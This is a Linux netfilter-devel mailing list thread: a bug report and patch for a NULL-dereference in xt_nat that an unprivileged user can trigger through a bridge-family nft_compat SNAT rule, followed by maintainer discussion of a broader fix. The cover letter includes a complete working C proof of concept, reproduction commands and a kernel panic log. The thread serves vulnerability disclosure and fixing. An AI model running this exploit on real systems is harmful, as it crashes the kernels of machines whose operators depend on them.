* [PATCH nf 0/1] netfilter: xt_nat: bridge nft_compat rule can trigger NULL-deref
@ 2026-06-13 10:27 Ren Wei
2026-06-13 10:27 ` [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families Ren Wei
0 siblings, 1 reply; 9+ messages in thread
From: Ren Wei @ 2026-06-13 10:27 UTC (permalink / raw)
To: netfilter-devel
Cc: pablo, fw, phil, kaber, yuantan098, yifanwucs, tomapufckgml,
zcliangcn, bird, bronzed_45_vested, n05ec
From: Wyatt Feng <bronzed_45_vested@icloud.com>
Hi Linux kernel maintainers,
We found and validated an issue in net/netfilter/xt_nat.c.
The bug is reachable by an unprivileged user using private namespaces.
The relevant details are provided below.
---- details below ----
Bug details:
The bug is in `net/netfilter/xt_nat.c`, in the rev1/rev2
`SNAT`/`DNAT` xtables targets.
These targets are registered without a family restriction, so
`nft_compat` can resolve them from a bridge-family chain via the
existing `NFPROTO_UNSPEC` xtables fallback. However,
`xt_nat_checkentry()` accepts `NFPROTO_BRIDGE`, while the runtime target
handlers assume IP-family conntrack state is present.
When such a bridge-family compat rule is evaluated on traffic without an
attached conntrack entry, `nf_ct_get()` returns `NULL`.
`xt_snat_target_v1()`/`xt_dnat_target_v1()` and
`xt_snat_target_v2()`/`xt_dnat_target_v2()` then proceed to
`nf_nat_setup_info(ct, ...)`, which dereferences the NULL `ct` and
causes a kernel NULL-dereference and panic.
Reproducer:
gcc -O2 -Wall -Wextra mini_poc.c $(pkg-config --cflags --libs libmnl) -o mini_poc
unshare -Urn ./mini_poc
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN mini_poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <libmnl/libmnl.h>
#include <linux/if_packet.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_nat.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nf_tables_compat.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netlink.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#define BUF_SIZE 4096
static void die(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static int run_cmd(bool allow_fail, const char *fmt, ...)
{
char cmd[512];
va_list ap;
int ret;
va_start(ap, fmt);
vsnprintf(cmd, sizeof(cmd), fmt, ap);
va_end(ap);
ret = system(cmd);
if (ret != 0 && !allow_fail) {
fprintf(stderr, "command failed: %s\n", cmd);
exit(EXIT_FAILURE);
}
return ret;
}
static void cleanup(void)
{
run_cmd(true, "nft delete table bridge nat >/dev/null 2>&1");
run_cmd(true, "ip link del br0 >/dev/null 2>&1");
run_cmd(true, "ip link del veth0 >/dev/null 2>&1");
run_cmd(true, "ip link del veth1 >/dev/null 2>&1");
}
static uint32_t nf_tables_genid(void)
{
struct mnl_socket *nl;
char buf[MNL_SOCKET_BUFFER_SIZE];
struct nlmsghdr *nlh;
struct nfgenmsg *nfg;
uint32_t genid = 0;
int ret;
nl = mnl_socket_open(NETLINK_NETFILTER);
if (!nl)
die("mnl_socket_open");
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
die("mnl_socket_bind");
nlh = mnl_nlmsg_put_header(buf);
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_GETGEN;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = 1;
nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg));
nfg->nfgen_family = NFPROTO_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(0);
ret = mnl_socket_sendto(nl, nlh, nlh->nlmsg_len);
if (ret < 0)
die("mnl_socket_sendto(GETGEN)");
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
if (ret < 0)
die("mnl_socket_recvfrom(GETGEN)");
for (nlh = (struct nlmsghdr *)buf; mnl_nlmsg_ok(nlh, ret);
nlh = mnl_nlmsg_next(nlh, &ret)) {
struct nlattr *attr;
if (nlh->nlmsg_type != ((NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWGEN))
continue;
mnl_attr_for_each(attr, nlh, sizeof(*nfg)) {
if (mnl_attr_get_type(attr) == NFTA_GEN_ID) {
genid = ntohl(mnl_attr_get_u32(attr));
break;
}
}
if (genid)
break;
}
mnl_socket_close(nl);
if (!genid) {
errno = EPROTO;
die("GETGEN missing genid");
}
return genid;
}
static void put_nla_u32_be(struct nlmsghdr *nlh, uint16_t type, uint32_t v)
{
mnl_attr_put_u32(nlh, type, htonl(v));
}
static void put_batch_begin(struct nlmsghdr *nlh, uint32_t seq, uint32_t genid)
{
struct nfgenmsg *nfg;
nlh->nlmsg_len = NLMSG_HDRLEN;
nlh->nlmsg_type = NFNL_MSG_BATCH_BEGIN;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = seq;
nlh->nlmsg_pid = 0;
nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg));
nfg->nfgen_family = NFPROTO_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(NFNL_SUBSYS_NFTABLES);
put_nla_u32_be(nlh, NFNL_BATCH_GENID, genid);
}
static void put_batch_end(struct nlmsghdr *nlh, uint32_t seq)
{
struct nfgenmsg *nfg;
nlh->nlmsg_len = NLMSG_HDRLEN;
nlh->nlmsg_type = NFNL_MSG_BATCH_END;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = seq;
nlh->nlmsg_pid = 0;
nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg));
nfg->nfgen_family = NFPROTO_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(NFNL_SUBSYS_NFTABLES);
}
static void build_rule_msg(struct nlmsghdr *nlh)
{
struct nfgenmsg *nfg;
struct nlattr *exprs;
struct nlattr *elem;
struct nlattr *expr_data;
struct nf_nat_range info = {
.flags = NF_NAT_RANGE_MAP_IPS,
.min_addr.ip = htonl(0x01020304),
.max_addr.ip = htonl(0x01020304),
};
nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg));
nfg->nfgen_family = NFPROTO_BRIDGE;
nfg->version = NFNETLINK_V0;
nfg->res_id = 0;
mnl_attr_put_strz(nlh, NFTA_RULE_TABLE, "nat");
mnl_attr_put_strz(nlh, NFTA_RULE_CHAIN, "postrouting");
exprs = mnl_attr_nest_start(nlh, NFTA_RULE_EXPRESSIONS);
elem = mnl_attr_nest_start(nlh, NFTA_LIST_ELEM);
mnl_attr_put_strz(nlh, NFTA_EXPR_NAME, "target");
expr_data = mnl_attr_nest_start(nlh, NFTA_EXPR_DATA);
mnl_attr_put_strz(nlh, NFTA_TARGET_NAME, "SNAT");
put_nla_u32_be(nlh, NFTA_TARGET_REV, 1);
mnl_attr_put(nlh, NFTA_TARGET_INFO, sizeof(info), &info);
mnl_attr_nest_end(nlh, expr_data);
mnl_attr_nest_end(nlh, elem);
mnl_attr_nest_end(nlh, exprs);
}
static void install_rule(void)
{
struct mnl_socket *nl;
char buf[BUF_SIZE];
char reply[BUF_SIZE];
struct nlmsghdr *nlh;
uint32_t genid;
size_t len;
int ret;
memset(buf, 0, sizeof(buf));
genid = nf_tables_genid();
nlh = (struct nlmsghdr *)buf;
put_batch_begin(nlh, 1, genid);
len = NLMSG_ALIGN(nlh->nlmsg_len);
nlh = (struct nlmsghdr *)(buf + len);
nlh->nlmsg_len = NLMSG_HDRLEN;
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWRULE;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_APPEND | NLM_F_ACK;
nlh->nlmsg_seq = 2;
nlh->nlmsg_pid = 0;
build_rule_msg(nlh);
len += NLMSG_ALIGN(nlh->nlmsg_len);
nlh = (struct nlmsghdr *)(buf + len);
put_batch_end(nlh, 3);
len += NLMSG_ALIGN(nlh->nlmsg_len);
nl = mnl_socket_open(NETLINK_NETFILTER);
if (!nl)
die("mnl_socket_open");
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
die("mnl_socket_bind");
ret = mnl_socket_sendto(nl, buf, len);
if (ret < 0)
die("mnl_socket_sendto(rule)");
ret = mnl_socket_recvfrom(nl, reply, sizeof(reply));
if (ret > 0)
ret = mnl_cb_run(reply, ret, 2, mnl_socket_get_portid(nl), NULL, NULL);
if (ret < 0)
die("mnl_cb_run(rule)");
mnl_socket_close(nl);
}
static void send_trigger_frames(void)
{
unsigned char frame[60];
struct sockaddr_ll sll;
struct ifreq ifr;
struct timespec ts = { .tv_sec = 0, .tv_nsec = 20 * 1000 * 1000 };
int fd;
int i;
fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (fd < 0)
die("socket(AF_PACKET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "veth0p");
memset(&sll, 0, sizeof(sll));
if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
die("ioctl(SIOCGIFINDEX)");
sll.sll_ifindex = ifr.ifr_ifindex;
if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
die("ioctl(SIOCGIFHWADDR)");
memset(frame, 'A', sizeof(frame));
memset(frame, 0xff, 6);
memcpy(frame + 6, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
frame[12] = 0x88;
frame[13] = 0xb5;
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
sll.sll_halen = ETH_ALEN;
memset(sll.sll_addr, 0xff, ETH_ALEN);
for (i = 0; i < 32; i++) {
if (sendto(fd, frame, sizeof(frame), 0,
(struct sockaddr *)&sll, sizeof(sll)) < 0)
die("sendto");
nanosleep(&ts, NULL);
}
close(fd);
}
int main(void)
{
atexit(cleanup);
cleanup();
run_cmd(false, "nft add table bridge nat");
run_cmd(false, "nft add chain bridge nat postrouting "
"'{ type filter hook postrouting priority 300; policy accept; }'");
install_rule();
run_cmd(false, "ip link add br0 type bridge");
run_cmd(false, "ip link set br0 up");
run_cmd(false, "ip link add veth0 type veth peer name veth0p");
run_cmd(false, "ip link add veth1 type veth peer name veth1p");
run_cmd(false, "ip link set veth0 master br0");
run_cmd(false, "ip link set veth1 master br0");
run_cmd(false, "ip link set veth0 up");
run_cmd(false, "ip link set veth1 up");
run_cmd(false, "ip link set veth0p up");
run_cmd(false, "ip link set veth1p up");
usleep(200000);
send_trigger_frames();
sleep(1);
return 0;
}
------END mini_poc.c--------
----BEGIN crash log----
[ 174.769777][ T11] ------------[ cut here ]------------
[ 174.770980][ T11] !(ct != NULL && (ctinfo == IP_CT_NEW || ctinfo == IP_CT_RELATED || ctinfo == IP_CT_RELATED_REPLY))
[ 174.771001][ T11] WARNING: net/netfilter/xt_nat.c:93 at xt_snat_target_v1+0x115/0x1b0, CPU#0: kworker/0:1/11
[ 174.804089][ T11] nft_do_chain_bridge+0x246/0xfa0
[ 174.845653][ T11] mld_sendpack+0x8f7/0xec0
[ 174.847675][ T11] mld_ifc_work+0x75a/0xc10
[ 174.865335][ T11] ---[ end trace 0000000000000000 ]---
[ 174.867747][ T11] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000019: 0000 [#1] SMP KASAN NOPTI
[ 174.868849][ T11] KASAN: null-ptr-deref in range [0x00000000000000c8-0x00000000000000cf]
[ 174.878439][ T11] RIP: 0010:nf_nat_setup_info+0xd1/0x2c30
[ 174.903767][ T11] ? xt_snat_target_v1+0x115/0x1b0
[ 174.916037][ T11] xt_snat_target_v1+0x14b/0x1b0
[ 174.924669][ T11] nft_target_eval_bridge+0x1c1/0x320
[ 174.931246][ T11] nft_do_chain+0x2e5/0x1990
[ 174.998163][ T11] ip6_finish_output2+0xfd4/0x1ce0
[ 175.004839][ T11] ? NF_HOOK.constprop.0+0x277/0x5a0
[ 175.014886][ T11] mld_sendpack+0x8f7/0xec0
[ 175.018164][ T11] mld_ifc_work+0x75a/0xc10
[ 175.042339][ T11] RIP: 0010:nf_nat_setup_info+0xd1/0x2c30
[ 175.058662][ T11] Kernel panic - not syncing: Fatal exception in interrupt
-----END crash log-----
Best regards,
Wyatt Feng
Wyatt Feng (1):
netfilter: xt_nat: reject unsupported target families
net/netfilter/xt_nat.c | 9 +++++++++
1 file changed, 9 insertions(+)
--
2.47.3
^ permalink raw reply [flat|nested] 9+ messages in thread
* [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families
2026-06-13 10:27 [PATCH nf 0/1] netfilter: xt_nat: bridge nft_compat rule can trigger NULL-deref Ren Wei
@ 2026-06-13 10:27 ` Ren Wei
2026-06-13 21:31 ` Florian Westphal
0 siblings, 1 reply; 9+ messages in thread
From: Ren Wei @ 2026-06-13 10:27 UTC (permalink / raw)
To: netfilter-devel
Cc: pablo, fw, phil, kaber, yuantan098, yifanwucs, tomapufckgml,
zcliangcn, bird, bronzed_45_vested, n05ec
From: Wyatt Feng <bronzed_45_vested@icloud.com>
xt_nat SNAT and DNAT target handlers assume IP-family conntrack state
is present and can dereference a NULL pointer when instantiated from an
unsupported family through nft_compat. A bridge-family compat rule can
therefore trigger a NULL-dereference in nf_nat_setup_info().
Reject non-IP families in xt_nat_checkentry() so unsupported targets
cannot be installed. Keep NFPROTO_INET allowed for valid inet NAT
compat users and leave the runtime fast path unchanged.
Fixes: c7232c9979cb ("netfilter: add protocol independent NAT core")
Cc: stable@vger.kernel.org
Reported-by: Yuan Tan <yuantan098@gmail.com>
Reported-by: Yifan Wu <yifanwucs@gmail.com>
Reported-by: Juefei Pu <tomapufckgml@gmail.com>
Reported-by: Zhengchuan Liang <zcliangcn@gmail.com>
Reported-by: Xin Liu <bird@lzu.edu.cn>
Assisted-by: Codex:GPT-5.4
Signed-off-by: Wyatt Feng <bronzed_45_vested@icloud.com>
Signed-off-by: Ren Wei <n05ec@lzu.edu.cn>
---
net/netfilter/xt_nat.c | 9 +++++++++
1 file changed, 9 insertions(+)
diff --git a/net/netfilter/xt_nat.c b/net/netfilter/xt_nat.c
index b4f7bbc3f3ca..51c7f7ce88d9 100644
--- a/net/netfilter/xt_nat.c
+++ b/net/netfilter/xt_nat.c
@@ -26,6 +26,15 @@ static int xt_nat_checkentry_v0(const struct xt_tgchk_param *par)
static int xt_nat_checkentry(const struct xt_tgchk_param *par)
{
+ switch (par->family) {
+ case NFPROTO_IPV4:
+ case NFPROTO_IPV6:
+ case NFPROTO_INET:
+ break;
+ default:
+ return -EINVAL;
+ }
+
return nf_ct_netns_get(par->net, par->family);
}
--
2.47.3
^ permalink raw reply related [flat|nested] 9+ messages in thread
* Re: [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families
2026-06-13 10:27 ` [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families Ren Wei
@ 2026-06-13 21:31 ` Florian Westphal
2026-06-13 22:00 ` Florian Westphal
0 siblings, 1 reply; 9+ messages in thread
From: Florian Westphal @ 2026-06-13 21:31 UTC (permalink / raw)
To: Ren Wei
Cc: netfilter-devel, pablo, phil, yuantan098, yifanwucs, tomapufckgml,
zcliangcn, bird, bronzed_45_vested
Ren Wei <n05ec@lzu.edu.cn> wrote:
> xt_nat SNAT and DNAT target handlers assume IP-family conntrack state
> is present and can dereference a NULL pointer when instantiated from an
> unsupported family through nft_compat. A bridge-family compat rule can
> therefore trigger a NULL-dereference in nf_nat_setup_info().
Are you sure this is related to nft_compat? What prevents attaching
-j D|SNAT to classic ebtables?
> Reject non-IP families in xt_nat_checkentry() so unsupported targets
> cannot be installed. Keep NFPROTO_INET allowed for valid inet NAT
> compat users and leave the runtime fast path unchanged.
Not so sure, I don't think there is harm in allowing NFPROTO_INET but
such users should not exist.
Patch is fine. There are already many different targets here,
I don't think we should do a NFPROTO_IPV4 / IPV6 split in this case.
(redirect & masquarade are ok, they register via IPV4/IP6 only).
^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families
2026-06-13 21:31 ` Florian Westphal
@ 2026-06-13 22:00 ` Florian Westphal
2026-06-13 22:15 ` Pablo Neira Ayuso
0 siblings, 1 reply; 9+ messages in thread
From: Florian Westphal @ 2026-06-13 22:00 UTC (permalink / raw)
To: Ren Wei
Cc: netfilter-devel, pablo, phil, yuantan098, yifanwucs, tomapufckgml,
zcliangcn, bird, bronzed_45_vested
Florian Westphal <fw@strlen.de> wrote:
> Ren Wei <n05ec@lzu.edu.cn> wrote:
> > xt_nat SNAT and DNAT target handlers assume IP-family conntrack state
> > is present and can dereference a NULL pointer when instantiated from an
> > unsupported family through nft_compat. A bridge-family compat rule can
> > therefore trigger a NULL-dereference in nf_nat_setup_info().
>
> Are you sure this is related to nft_compat? What prevents attaching
> -j D|SNAT to classic ebtables?
>
> > Reject non-IP families in xt_nat_checkentry() so unsupported targets
> > cannot be installed. Keep NFPROTO_INET allowed for valid inet NAT
> > compat users and leave the runtime fast path unchanged.
>
> Not so sure, I don't think there is harm in allowing NFPROTO_INET but
> such users should not exist.
>
> Patch is fine. There are already many different targets here,
> I don't think we should do a NFPROTO_IPV4 / IPV6 split in this case.
I take that back. This problem goes beyond xt_nat.c; see
11ff7288beb2 ("netfilter: ebtables: reject non-bridge targets")
Can you make a patch like this one for nft_compat?
We can only use NFPROTO_BRIDGE targets, never UNSPEC, for NF_BRIDGE
caller.
^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families
2026-06-13 22:00 ` Florian Westphal
@ 2026-06-13 22:15 ` Pablo Neira Ayuso
2026-06-13 22:25 ` Florian Westphal
0 siblings, 1 reply; 9+ messages in thread
From: Pablo Neira Ayuso @ 2026-06-13 22:15 UTC (permalink / raw)
To: Florian Westphal
Cc: Ren Wei, netfilter-devel, phil, yuantan098, yifanwucs,
tomapufckgml, zcliangcn, bird, bronzed_45_vested
On Sun, Jun 14, 2026 at 12:00:56AM +0200, Florian Westphal wrote:
> Florian Westphal <fw@strlen.de> wrote:
> > Ren Wei <n05ec@lzu.edu.cn> wrote:
> > > xt_nat SNAT and DNAT target handlers assume IP-family conntrack state
> > > is present and can dereference a NULL pointer when instantiated from an
> > > unsupported family through nft_compat. A bridge-family compat rule can
> > > therefore trigger a NULL-dereference in nf_nat_setup_info().
> >
> > Are you sure this is related to nft_compat? What prevents attaching
> > -j D|SNAT to classic ebtables?
> >
> > > Reject non-IP families in xt_nat_checkentry() so unsupported targets
> > > cannot be installed. Keep NFPROTO_INET allowed for valid inet NAT
> > > compat users and leave the runtime fast path unchanged.
> >
> > Not so sure, I don't think there is harm in allowing NFPROTO_INET but
> > such users should not exist.
> >
> > Patch is fine. There are already many different targets here,
> > I don't think we should do a NFPROTO_IPV4 / IPV6 split in this case.
>
> I take that back. This problem goes beyond xt_nat.c; see
> 11ff7288beb2 ("netfilter: ebtables: reject non-bridge targets")
>
> Can you make a patch like this one for nft_compat?
> We can only use NFPROTO_BRIDGE targets, never UNSPEC, for NF_BRIDGE
> caller.
Maybe it is simply this patch:
commit b6fe26f86a1649f84e057f3f15605b08eda15497
Author: Pablo Neira Ayuso <pablo@netfilter.org>
Date: Wed Apr 15 12:21:00 2026 +0200
netfilter: xtables: restrict several matches to inet family
which was missing xt_nat.c?
^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families
2026-06-13 22:15 ` Pablo Neira Ayuso
@ 2026-06-13 22:25 ` Florian Westphal
2026-06-14 9:43 ` Pablo Neira Ayuso
0 siblings, 1 reply; 9+ messages in thread
From: Florian Westphal @ 2026-06-13 22:25 UTC (permalink / raw)
To: Pablo Neira Ayuso
Cc: Ren Wei, netfilter-devel, phil, yuantan098, yifanwucs,
tomapufckgml, zcliangcn, bird, bronzed_45_vested
Pablo Neira Ayuso <pablo@netfilter.org> wrote:
> > We can only use NFPROTO_BRIDGE targets, never UNSPEC, for NF_BRIDGE
> > caller.
>
> Maybe it is simply this patch:
>
> commit b6fe26f86a1649f84e057f3f15605b08eda15497
> Author: Pablo Neira Ayuso <pablo@netfilter.org>
> Date: Wed Apr 15 12:21:00 2026 +0200
>
> netfilter: xtables: restrict several matches to inet family
>
> which was missing xt_nat.c?
No, ebtables targets are incompatible, they return different
values compared to ip/ip6tables.
We need a nft_target_bridge_validate (or alternative method) that
rejects all targets that are not NFPROTO_BRIDGE.
This is wnat ebtables.c already does which is why this poc would
not work for classic xtables.
That said, this patch (the xt_nat.c patch) might be a good idea
anyway, but I don't think its enough.
^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families
2026-06-13 22:25 ` Florian Westphal
@ 2026-06-14 9:43 ` Pablo Neira Ayuso
2026-06-14 11:11 ` Pablo Neira Ayuso
2026-06-14 11:16 ` Florian Westphal
0 siblings, 2 replies; 9+ messages in thread
From: Pablo Neira Ayuso @ 2026-06-14 9:43 UTC (permalink / raw)
To: Florian Westphal
Cc: Ren Wei, netfilter-devel, phil, yuantan098, yifanwucs,
tomapufckgml, zcliangcn, bird, bronzed_45_vested
On Sun, Jun 14, 2026 at 12:25:47AM +0200, Florian Westphal wrote:
> Pablo Neira Ayuso <pablo@netfilter.org> wrote:
> > > We can only use NFPROTO_BRIDGE targets, never UNSPEC, for NF_BRIDGE
> > > caller.
> >
> > Maybe it is simply this patch:
> >
> > commit b6fe26f86a1649f84e057f3f15605b08eda15497
> > Author: Pablo Neira Ayuso <pablo@netfilter.org>
> > Date: Wed Apr 15 12:21:00 2026 +0200
> >
> > netfilter: xtables: restrict several matches to inet family
> >
> > which was missing xt_nat.c?
>
> No, ebtables targets are incompatible, they return different
> values compared to ip/ip6tables.
>
> We need a nft_target_bridge_validate (or alternative method) that
> rejects all targets that are not NFPROTO_BRIDGE.
Yes, but there are still around 33 match/targets extensions in the
tree that use NFPROTO_UNSPEC as a .family.
And some of these NFPROTO_UNSPEC are supported by ebtables, eg.
xt_string (match), see ebt_string.c in ebtables userspace.
I think NFPROTO_UNSPEC should be replaced by explicit families that
are supported.
> This is wnat ebtables.c already does which is why this poc would
> not work for classic xtables.
Do you refer to targets specifically, correct?
/* Reject UNSPEC, xtables verdicts/return values are incompatible */
if (target->family != NFPROTO_BRIDGE) {
module_put(target->me);
ret = -ENOENT;
goto cleanup_watchers;
}
> That said, this patch (the xt_nat.c patch) might be a good idea
> anyway, but I don't think its enough.
I would probably replace all of the remaining NFPROTO_UNSPEC by
explicit families.
As for xt_nat_target_reg, it does not set NFPROTO_UNSPEC explicitly,
but given that target is allocated in the BSS, it results in an
implicit NFPROTO_UNSPEC, which is the reason why it when uncaught by
b6fe26f86a1649f84e057f3f15605b08eda15497.
^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families
2026-06-14 9:43 ` Pablo Neira Ayuso
@ 2026-06-14 11:11 ` Pablo Neira Ayuso
2026-06-14 11:16 ` Florian Westphal
1 sibling, 0 replies; 9+ messages in thread
From: Pablo Neira Ayuso @ 2026-06-14 11:11 UTC (permalink / raw)
To: Florian Westphal
Cc: Ren Wei, netfilter-devel, phil, yuantan098, yifanwucs,
tomapufckgml, zcliangcn, bird, bronzed_45_vested
On Sun, Jun 14, 2026 at 11:44:01AM +0200, Pablo Neira Ayuso wrote:
> On Sun, Jun 14, 2026 at 12:25:47AM +0200, Florian Westphal wrote:
> > Pablo Neira Ayuso <pablo@netfilter.org> wrote:
> > > > We can only use NFPROTO_BRIDGE targets, never UNSPEC, for NF_BRIDGE
> > > > caller.
> > >
> > > Maybe it is simply this patch:
> > >
> > > commit b6fe26f86a1649f84e057f3f15605b08eda15497
> > > Author: Pablo Neira Ayuso <pablo@netfilter.org>
> > > Date: Wed Apr 15 12:21:00 2026 +0200
> > >
> > > netfilter: xtables: restrict several matches to inet family
> > >
> > > which was missing xt_nat.c?
> >
> > No, ebtables targets are incompatible, they return different
> > values compared to ip/ip6tables.
> >
> > We need a nft_target_bridge_validate (or alternative method) that
> > rejects all targets that are not NFPROTO_BRIDGE.
>
> Yes, but there are still around 33 match/targets extensions in the
> tree that use NFPROTO_UNSPEC as a .family.
>
> And some of these NFPROTO_UNSPEC are supported by ebtables, eg.
> xt_string (match), see ebt_string.c in ebtables userspace.
>
> I think NFPROTO_UNSPEC should be replaced by explicit families that
> are supported.
>
> > This is wnat ebtables.c already does which is why this poc would
> > not work for classic xtables.
>
> Do you refer to targets specifically, correct?
>
> /* Reject UNSPEC, xtables verdicts/return values are incompatible */
> if (target->family != NFPROTO_BRIDGE) {
> module_put(target->me);
> ret = -ENOENT;
> goto cleanup_watchers;
> }
>
> > That said, this patch (the xt_nat.c patch) might be a good idea
> > anyway, but I don't think its enough.
>
> I would probably replace all of the remaining NFPROTO_UNSPEC by
> explicit families.
>
> As for xt_nat_target_reg, it does not set NFPROTO_UNSPEC explicitly,
> but given that target is allocated in the BSS, it results in an
> implicit NFPROTO_UNSPEC, which is the reason why it when uncaught by
> b6fe26f86a1649f84e057f3f15605b08eda15497.
Maybe also the fact that such patch probably only audited matches.
^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families
2026-06-14 9:43 ` Pablo Neira Ayuso
2026-06-14 11:11 ` Pablo Neira Ayuso
@ 2026-06-14 11:16 ` Florian Westphal
1 sibling, 0 replies; 9+ messages in thread
From: Florian Westphal @ 2026-06-14 11:16 UTC (permalink / raw)
To: Pablo Neira Ayuso
Cc: Ren Wei, netfilter-devel, phil, yuantan098, yifanwucs,
tomapufckgml, zcliangcn, bird, bronzed_45_vested
Pablo Neira Ayuso <pablo@netfilter.org> wrote:
> Yes, but there are still around 33 match/targets extensions in the
> tree that use NFPROTO_UNSPEC as a .family.
>
> And some of these NFPROTO_UNSPEC are supported by ebtables, eg.
> xt_string (match), see ebt_string.c in ebtables userspace.
match != target.
> I think NFPROTO_UNSPEC should be replaced by explicit families that
> are supported.
ebtables CANNOT support NFPROTO_UNSPEC targets. Thats all I said.
> > This is wnat ebtables.c already does which is why this poc would
> > not work for classic xtables.
>
> Do you refer to targets specifically, correct?
>
> /* Reject UNSPEC, xtables verdicts/return values are incompatible */
> if (target->family != NFPROTO_BRIDGE) {
> module_put(target->me);
> ret = -ENOENT;
> goto cleanup_watchers;
> }
yes.
> > That said, this patch (the xt_nat.c patch) might be a good idea
> > anyway, but I don't think its enough.
>
> I would probably replace all of the remaining NFPROTO_UNSPEC by
> explicit families.
Are you talking about matches, targets or both? What about nftables?
I worry we see lots of redundancy when we have to expand UNSPEC to all
of ARP/BRIDGE/IPV4/IPV6/INET/NETDEV.
> As for xt_nat_target_reg, it does not set NFPROTO_UNSPEC explicitly,
> but given that target is allocated in the BSS, it results in an
> implicit NFPROTO_UNSPEC, which is the reason why it when uncaught by
> b6fe26f86a1649f84e057f3f15605b08eda15497.
Yes, its implicitly UNSPEC.
^ permalink raw reply [flat|nested] 9+ messages in thread
end of thread, other threads:[~2026-06-14 11:16 UTC | newest]
Thread overview: 9+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-06-13 10:27 [PATCH nf 0/1] netfilter: xt_nat: bridge nft_compat rule can trigger NULL-deref Ren Wei
2026-06-13 10:27 ` [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families Ren Wei
2026-06-13 21:31 ` Florian Westphal
2026-06-13 22:00 ` Florian Westphal
2026-06-13 22:15 ` Pablo Neira Ayuso
2026-06-13 22:25 ` Florian Westphal
2026-06-14 9:43 ` Pablo Neira Ayuso
2026-06-14 11:11 ` Pablo Neira Ayuso
2026-06-14 11:16 ` Florian Westphal
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.